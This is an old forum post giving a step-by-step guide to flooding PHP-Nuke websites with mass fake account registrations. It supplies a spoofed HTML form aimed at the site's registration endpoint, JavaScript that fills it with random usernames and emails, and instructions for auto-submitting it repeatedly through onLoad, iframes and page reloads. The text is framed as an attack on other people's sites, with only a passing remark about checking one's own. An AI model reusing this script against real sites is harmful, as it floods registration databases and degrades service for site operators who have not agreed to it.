GhOsT
Administrator
Data inscrierii: 26/Noi/2007
Mesaje: 234
|
 Trimis: 18/12/2007 13:09 Titlul subiectului: Flooding PHP-Nuke with mass registrations |
 |
|
For sites running phpnuke without registration auth codes, and instant account activation, its a cake walk.
Step 1) Find the nuke directory/modules.php file.
Step 2) Set up your form in a spoof page, on a local harddrive, or upload it somewhere, doesn't matter.
ex: form name=kek action="http://website.com/nuke/modules.php?name=Your_Account" method="post"
input type="hidden" name="random_num" value=""
input type="hidden" name="gfx_check" value=""
input type="text" name="username" value=""
input type="text" name="user_email" value=""
input type="hidden" name="user_password" value="password"
input type="hidden" name="op" value="finish"
nput type="submit" value="all you"
Step 3) Make randomly generated user/emails and send them into the form data VIA javascript, then run the command somewhere in your spoof page.
ex: function calculate() {
var user = "fakename"+Math.floor(Math.random()*1000000);
var email = Math.floor(Math.random()*1000000)+"@fakemail.com"+Math.floor(Math.random()*1000000)+".com";document.kek.username.value = userdocument.kek.user_email.value = email}
Step 4) Automate it!
The easiest, least complcated, yet ghetto way to do this is, is to make your spoof page run the calculate/submit commands preform OnLoad() in your body tag, and iframe/frame it into a window and location.reload(); each miniframe after the registration is finished for every window.
Now, theres cleaner ways to mass submit form data, but thats left up to you
Not every php nuke site out there doesnt have registration auth codes and instant account activation, so this doesn't always work, but theres other scripts out there that have similar forms that you can flood with methods like this. This is rather simple, but always something you need to check and try with any kind of user registration database your site might use. |
|
